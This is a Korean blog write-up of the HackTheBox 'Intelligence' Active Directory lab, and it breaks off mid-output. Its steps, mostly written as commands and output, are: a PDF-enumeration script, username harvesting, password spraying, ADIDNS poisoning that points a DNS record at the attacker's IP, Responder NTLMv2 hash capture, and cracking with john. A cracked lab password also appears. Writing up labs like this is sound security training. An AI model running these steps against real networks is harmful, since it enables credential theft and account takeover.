[HTB] Intelligence

쥬스몬·2023년 9월 22일
0

HackTheBox

목록 보기
33/37
post-thumbnail

이번 머신도 폐기된 머신이지만 Active Directory 관련 머신이기에 더 많은 케이스를 경험하기위해 진행하였다.

서비스 중인 웹에서 다운로드 가능한 PDF가 있고 해당 PDF의 네이밍 규칙을 이용하여 무차별 대입을 통해 업로드된 전체 PDF에 접근이 가능했고, PDF 메타데이터에서 유저정보를 추출하고 습득된 정보를 통해 내부 SMB에서 파워쉘 스크립트를 확인 후 내부 DNS에 레코드를 추가하여 NTLM 해시를 획득해 WinRM 접근 가능한 계정을 확보 후 READGMSAPasword 권한을 악용하여 권한 상승이 가능했던 머신이다.

1. Recon

1.1. Port Scan

포트 스캔으로 DNS, Web, Kerberos, LDAP, SMB 등의 오픈된 서비스를 확인할 수 있었다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-21 15:21 KST
Nmap scan report for intelligence.htb (10.129.95.154)
Host is up (0.21s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-21 13:22:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T13:23:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T13:23:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T13:23:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-21T13:23:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
56045/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-09-21T13:23:00
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.50 seconds

1.2. WEB

SMB와 LDAP 등에 익명 열거를 진행했지만 인증이 없으면 확인할 수 있는 정보가 없었다. 그렇기에 80/tcp에서 정찰을 시작한다.

http://intelligence.htb에 접근 시 아래와 같이 PDF을 다운로드 할 수 있다.

다운로드되는 PDF 경로는 /documents/2020-11-30-upload.pdf로 확인되며, PDF 네이밍 규칙을 이용하여 2020-XX-XX-upload.pdf 같은 형태로 무차별 대입을 시도하니 아래와 같이 일부 PDF에 접근 가능한것이 확인됐다.

1.2.1. PDF 다운로드 및 분석

http://intelligence.htb/documents/2020-12-30-upload.pdf 파일을 확인해보면 아래와 같은 내용을 확인할 수 있으며, Ted 라는 임직원이 존재하고 최근 발생한 웹 서버 장애로 인해 모니터링을 위한 스크립트 제작했다는 내용이다.

내부 IT 업데이트
최근 웹 서버에 장애가 발생했습니다. 테드는 이런 일이 또 발생할 경우 당사에 통지할 수 있도록 스크립트를 준비했습니다.
또한, 최근 보안 감사에 대한 논의 끝에 서비스 계정을 폐쇄하는 절차를 밟고 있습니다.

exiftool을 통해 pdf 정보를 확인하면 Creator 필드에서 이름을 확인할 수 있었다.

% exiftool 2020-12-30-upload.pdf
ExifTool Version Number         : 12.60
File Name                       : 2020-12-30-upload.pdf
Directory                       : .
File Size                       : 25 kB
File Modification Date/Time     : 2023:09:21 17:11:25+09:00
File Access Date/Time           : 2023:09:21 17:11:25+09:00
File Inode Change Date/Time     : 2023:09:21 17:11:25+09:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : Jason.Patterson

2. Foothold

2.1. 유저 목록 수집

위에서 확인된 Creator 정보를 수집하여 Kerberos에 유효한 계정인지 테스트하기 위해 모든 PDF 파일을 다운로드하고 exiftool을 통해 Creator를 추출하는 스크립트를 제작한다.

#!/bin/bash

# 시작 날짜와 끝 날짜 설정
start_date="2020-01-01"
end_date="2020-12-31"

# 시작 날짜를 UNIX 타임스탬프로 변환
start_timestamp=$(date -j -f "%Y-%m-%d" "$start_date" "+%s")

# 끝 날짜를 UNIX 타임스탬프로 변환
end_timestamp=$(date -j -f "%Y-%m-%d" "$end_date" "+%s")

# 반복문을 통해 날짜 범위 내의 PDF 파일 다운로드
current_timestamp=$start_timestamp

while [ "$current_timestamp" -le "$end_timestamp" ]; do
    # 현재 날짜를 YYYY-MM-DD 형식으로 변환
    current_date=$(date -j -f "%s" "$current_timestamp" "+%Y-%m-%d")

    # PDF 파일 다운로드
    file_url="http://intelligence.htb/documents/${current_date}-upload.pdf"
    output_file="${current_date}-upload.pdf"

    if curl -s -o "$output_file" -w "%{http_code}" "$file_url" | grep -q "200"; then
        exiftool $output_file | grep Creator | awk '{ print $3 }'
    fi

    # 다음 날짜로 이동
    current_timestamp=$((current_timestamp + 86400))  # 86400초 = 1일
done

중복된 Creator 정보를 제거한 모든 이름을 수집한 결과는 다음과 같으며, 해당 리스트를 users.txt 파일에 기록하였다.

William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
Stephanie.Young
Daniel.Shelton
Jose.Williams
John.Coleman
Brian.Morris
Thomas.Valenzuela
Travis.Evans
Samuel.Richardson
Richard.Williams
David.Mcbride
Anita.Roberts
Brian.Baker
Kelly.Long
Nicole.Brock
Kaitlyn.Zimmerman
Jason.Patterson
Darryl.Harris
David.Wilson
Teresa.Williamson
Ian.Duncan
Jessica.Moody
Tiffany.Molina
Thomas.Hall

수집된 목록을 kerbrute를 통해 검증하니 수집된 모든 계정이 유효한 계정으로 확인된다!

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# python3 ~/Desktop/kerbrute.py -users 'users.txt' -passwords 'users.txt' -dc-ip '10.129.95.154' -domain 'intelligence.htb'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Valid user => William.Lee
[*] Valid user => Scott.Scott
[*] Valid user => Jason.Wright
[*] Valid user => Veronica.Patel
[*] Valid user => Jennifer.Thomas
[*] Valid user => Danny.Matthews
[*] Valid user => David.Reed
[*] Valid user => Stephanie.Young
[*] Valid user => Daniel.Shelton
[*] Valid user => Jose.Williams
[*] Valid user => John.Coleman
[*] Valid user => Brian.Morris
[*] Valid user => Thomas.Valenzuela
[*] Valid user => Travis.Evans
[*] Valid user => Samuel.Richardson
[*] Valid user => Richard.Williams
[*] Valid user => David.Mcbride
[*] Valid user => Anita.Roberts
[*] Valid user => Brian.Baker
[*] Valid user => Kelly.Long
[*] Valid user => Nicole.Brock
[*] Valid user => Kaitlyn.Zimmerman
[*] Valid user => Jason.Patterson
[*] Valid user => Darryl.Harris
[*] Valid user => David.Wilson
[*] Valid user => Teresa.Williamson
[*] Valid user => Ian.Duncan
[*] Valid user => Jessica.Moody
[*] Valid user => Tiffany.Molina
[*] Valid user => Thomas.Hall
[*] No passwords were discovered :'(

2.2. AS-REP roasting (X)

수집된 목록의 모든 계정이 유효한 계정인것을 확인했으며, DONT_REQUIRE_PREAUTH가 설정된 계정이 존재하는지 스캔하니 취약한 계정은 발견할 수 없었다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# impacket-GetNPUsers 'intelligence.htb/' -usersfile users.txt -dc-ip 10.129.95.154
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Scott.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Veronica.Patel doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jennifer.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Danny.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Reed doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Stephanie.Young doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Daniel.Shelton doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User John.Coleman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brian.Morris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Thomas.Valenzuela doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Travis.Evans doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Samuel.Richardson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Richard.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Mcbride doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Anita.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brian.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Kelly.Long doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nicole.Brock doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Kaitlyn.Zimmerman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jason.Patterson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Darryl.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User David.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Teresa.Williamson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ian.Duncan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jessica.Moody doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Tiffany.Molina doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Thomas.Hall doesn't have UF_DONT_REQUIRE_PREAUTH set

2.3. Default Password

유저 목록을 확인했으나 패스워드를 알 수 없어 접근할 수 있는 다른 서비스가 없었다. 그렇기에 다시 추출한 모든 PDF를 하나씩 훑어보던 중 2020-06-04-upload.pdf의 내용에서 신규 계정에 대한 default password를 확인할 수 있었다.

New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of: 비밀번호
After logging in please change your password as soon as possible.

확보한 모든 유저 목록에 해당 패스워드를 입력하여 SMB 인증을 시도하니 Tiffany.Molina에서 인증이 성공되는 것을 확인할 수 있었다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# crackmapexec smb 10.129.95.154 -u users.txt -p '비밀번호' --continue-on-success
SMB         10.129.95.154   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB         10.129.95.154   445    DC               [-] intelligence.htb\William.Lee:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Scott.Scott:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Jason.Wright:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Veronica.Patel:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Jennifer.Thomas:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Danny.Matthews:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\David.Reed:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Stephanie.Young:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Daniel.Shelton:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Jose.Williams:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\John.Coleman:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Brian.Morris:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Thomas.Valenzuela:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Travis.Evans:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Samuel.Richardson:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Richard.Williams:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\David.Mcbride:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Anita.Roberts:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Brian.Baker:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Kelly.Long:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Nicole.Brock:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Kaitlyn.Zimmerman:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Jason.Patterson:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Darryl.Harris:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\David.Wilson:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Teresa.Williamson:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Ian.Duncan:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [-] intelligence.htb\Jessica.Moody:비밀번호 STATUS_LOGON_FAILURE
SMB         10.129.95.154   445    DC               [+] intelligence.htb\Tiffany.Molina:비밀번호

2.4. SMB

확인된 Tiffany 계정으로 SMB 접근이 가능했으며, 흥미로워 보이는 IT, Users 공유 디렉터리가 보인다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# smbclient -L //10.129.95.154 -U 'Tiffany.Molina'
Password for [WORKGROUP\Tiffany.Molina]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	IT              Disk
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share
	Users           Disk

2.4.1. Users 디렉터리

엄청나게도 해당 디렉터리는 C:\Users로 확인된다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# smbclient //10.129.95.154/Users -U 'Tiffany.Molina'
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Apr 18 21:20:26 2021
  ..                                 DR        0  Sun Apr 18 21:20:26 2021
  Administrator                       D        0  Sun Apr 18 20:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 03:21:46 2018
  Default                           DHR        0  Sun Apr 18 22:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 03:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 03:11:27 2018
  Public                             DR        0  Sun Apr 18 20:18:39 2021
  Ted.Graves                          D        0  Sun Apr 18 21:20:26 2021
  Tiffany.Molina                      D        0  Sun Apr 18 20:51:46 2021

접근 권한이 존재하는 모든 파일을 공격자 PC에 다운로드한다.

┌──(root㉿kali)-[~/Desktop/intelligence/Users]
└─# smbclient //10.129.95.154/Users -U 'Tiffany.Molina'
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> RECURSE on
smb: \> PROMPT off
smb: \> mget *

Ted.Graves 디렉터리는 접근할 수 있는 파일이 없었으나 로그인한 계정인 Tiffany.Molina 계정의 디렉터리는 접근 가능했으나 중요 정보나 다른 사용자로 넘어갈 정보는 발견할 수 없었다.

┌──(root㉿kali)-[~/Desktop/intelligence/Users/Tiffany.Molina]
└─# ls -al
total 1388
drwxr-xr-x 21 root root   4096 Sep 21 06:10  .
drwxr-xr-x  3 root root   4096 Sep 21 06:19  ..
drwxr-xr-x  5 root root   4096 Sep 21 06:10  AppData
drwxr-xr-x  2 root root   4096 Sep 21 06:10 'Application Data'
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Cookies
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Desktop
drwxr-xr-x  5 root root   4096 Sep 21 06:10  Documents
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Downloads
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Favorites
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Links
drwxr-xr-x  2 root root   4096 Sep 21 06:10 'Local Settings'
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Music
drwxr-xr-x  2 root root   4096 Sep 21 06:10 'My Documents'
drwxr-xr-x  2 root root   4096 Sep 21 06:10  NetHood
-rw-r--r--  1 root root 131072 Sep 21 06:10  NTUSER.DAT
-rw-r--r--  1 root root  65536 Sep 21 06:10  NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TM.blf
-rw-r--r--  1 root root 524288 Sep 21 06:10  NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TMContainer00000000000000000001.regtrans-ms
-rw-r--r--  1 root root 524288 Sep 21 06:10  NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TMContainer00000000000000000002.regtrans-ms
-rw-r--r--  1 root root  86016 Sep 21 06:10  ntuser.dat.LOG1
-rw-r--r--  1 root root      0 Sep 21 06:10  ntuser.dat.LOG2
-rw-r--r--  1 root root     20 Sep 21 06:10  ntuser.ini
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Pictures
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Recent
drwxr-xr-x  2 root root   4096 Sep 21 06:10 'Saved Games'
drwxr-xr-x  2 root root   4096 Sep 21 06:10  SendTo
drwxr-xr-x  2 root root   4096 Sep 21 06:10 'Start Menu'
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Templates
drwxr-xr-x  2 root root   4096 Sep 21 06:10  Videos

2.4.2. IT 디렉터리

해당 공유 디렉터리에서는 다운로드 받은 모든 PDF에서 확인할 수 있었던 내용의 스크립트로 확인되는 downdetector.ps1 파워쉘 스크립트가 확인된다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# smbclient //10.129.95.154/IT -U 'Tiffany.Molina'
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> RECURSE ON
smb: \> ls
  .                                   D        0  Sun Apr 18 20:50:55 2021
  ..                                  D        0  Sun Apr 18 20:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 20:50:55 2021

downdetector.ps1

해당 스크립트를 보면 최상단에 주석으로 웹 서버 상태를 5분마다 체크하는 스크립트라고 작성되어있다.

스크립트는 AD에서 아이템(개체)를 가져와서 아이템 이름이 web으로 시작하는 모든 개체로 HTTP Request를 전달하고 Status Code가 200이 아닐경우 Ted Graves의 이메일로 알림 메일을 전송한다.

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

2.5. ADIDNS Poisoning

The Hacker Recipes - ADIDNS poisoning에 따르면 ADIDNS(Active Directory integrated DNS) 영역의 DACL(Discretionary Access Control List)을 통해 일반 사용자가 기본적으로 하위 개체를 생성할 수 있다고한다.

이를 이용하여 일반 사용자인 티파니 권한으로 DNS 하위 개체를 생성하는데 이때 사용될 수 있는 도구가 Krbrelayx - dnstool이 있다.

add/modify/delete Active Directory Integrated DNS records via LDAP

dnstool을 이용하여 기존에 dig로 확인한 이미 확인된 하위 도메인인 dc.intelligence.htb 에 대한 쿼리를 진행했으며, 다음과 같이 해당 도메인에 대한 IP 주소를 반환하는 것을 확인할 수 있다.

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# python3 dnstool.py -u intelligence.htb\\Tiffany.Molina -p '비밀번호' --action query --record 'dc.intelligence.htb' 10.129.95.154
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record dc
DC=dc,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb
[+] Record entry:
 - Type: 28 (Unsupported) (Serial: 122)
DC=dc,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb
[+] Record entry:
 - Type: 28 (Unsupported) (Serial: 122)
DC=dc,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb
[+] Record entry:
 - Type: 1 (A) (Serial: 122)
 - Address: 10.129.95.154

2.5.1. Hash Capture

downdetector.ps1 스크립트에서 확인된 것처럼 5분마다 동작하는 스케쥴러로 인해 web으로 시작하는 아이템에 HTTP Request를 전송하는 것을 이용하여 Tiffany 계정으로 DNS에 하위 레코드를 추가하고, Responder를 이용해 웹 요청 시 해시를 캡처를 진행해 본다.

Add Record

먼저 DNS에 하위 레코드를 생성하는 요청을 전송 한다.

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# python3 dnstool.py -u intelligence.htb\\Tiffany.Molina -p '비밀번호' --action add --record web-juicemon --data 10.10.14.11 --type A 10.129.95.154
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

dig를 통해 확인 시 레코드가 성공적으로 추가된것을 확인할 수 있다.

┌──(root㉿kali)-[~]
└─# dig any web-juicemon.intelligence.htb @10.129.95.154

; <<>> DiG 9.18.1-1-Debian <<>> any web-juicemon.intelligence.htb @10.129.95.154
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40881
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;web-juicemon.intelligence.htb.	IN	ANY

;; ANSWER SECTION:
web-juicemon.intelligence.htb. 180 IN	A	10.10.14.11

;; Query time: 215 msec
;; SERVER: 10.129.95.154#53(10.129.95.154) (TCP)
;; WHEN: Thu Sep 21 07:00:25 EDT 2023
;; MSG SIZE  rcvd: 74

스케쥴러가 동작하는지 확인하기 위해 심플 웹 서버를 통해 80/tcp포트를 열어두고 기다려보니 HTTP Request가 들어오는것을 볼 수 있었다!

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.154 - - [21/Sep/2023 06:59:31] "GET / HTTP/1.1" 200 -

NTLMv2 Hash Capture

이제 responder를 실행하고 스케쥴러가 동작하여 웹 요청이 오길 기다린다.

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

5분이 경과하고 스케쥴러가 동작하면서 NTLMv2 해시를 캡처할 수 있었다.

[HTTP] NTLMv2 Client   : ::ffff:10.129.95.154
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:611b397c298ef9aa:FA59C43B0A29C8E634E79D5904D6E625:0101000000000000FF4EBB12B6ECD901F7F5036EB99B66CC00000000020008004D0059003900310001001E00570049004E002D003400480050004C003600330036005800460053005A00040014004D005900390031002E004C004F00430041004C0003003400570049004E002D003400480050004C003600330036005800460053005A002E004D005900390031002E004C004F00430041004C00050014004D005900390031002E004C004F00430041004C00080030003000000000000000000000000020000014324294C3A5D7A3640D80D7CDB44D7CE2EE9529F6665C98169BA65E708467EB0A001000000000000000000000000000000000000900440048005400540050002F007700650062002D006A0075006900630065006D006F006E002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

hash crack

탈취한 NTLMv2 해시는 쉽게 크랙이 가능했고 Ted.Graves 계정의 패스워드를 확보 할 수 있었다.

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# echo "Ted.Graves::intelligence:611b397c298ef9aa:FA59C43B0A29C8E634E79D5904D6E625:0101000000000000FF4EBB12B6ECD901F7F5036EB99B66CC00000000020008004D0059003900310001001E00570049004E002D003400480050004C003600330036005800460053005A00040014004D005900390031002E004C004F00430041004C0003003400570049004E002D003400480050004C003600330036005800460053005A002E004D005900390031002E004C004F00430041004C00050014004D005900390031002E004C004F00430041004C00080030003000000000000000000000000020000014324294C3A5D7A3640D80D7CDB44D7CE2EE9529F6665C98169BA65E708467EB0A001000000000000000000000000000000000000900440048005400540050002F007700650062002D006A0075006900630065006D006F006E002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000" > hash.txt

┌──(root㉿kali)-[~/Desktop/krbrelayx]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
테드비번         (Ted.Graves)
1g 0:00:00:03 DONE (2023-09-21 07:07) 0.3144g/s 3401Kp/s 3401Kc/s 3401KC/s Mrz.elmo\\'sboo..Morgantt
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

3. User

3.1. Ted.Graves

ADIDNS Poisoning을 통해 하위 레코드를 생성하고 파워쉘 스크립트가 동작하면서 웹 요청 시 확인되는 Ted.Graves 계정의 NTLMv2 해시를 크랙하여 계정을 탈취할 수 있었다.

하지만 Ted계정도 winrm 접근이 불가능하지만 LDAP이나 SMB는 가능했다.

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# crackmapexec winrm 10.129.95.154 -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
HTTP        10.129.95.154   5985   10.129.95.154    [*] http://10.129.95.154:5985/wsman
WINRM       10.129.95.154   5985   10.129.95.154    [-] intelligence.htb\Ted.Graves:Mr.Teddy

┌──(root㉿kali)-[~/Desktop/intelligence]
└─# crackmapexec ldap 10.129.95.154 -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
SMB         10.129.95.154   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
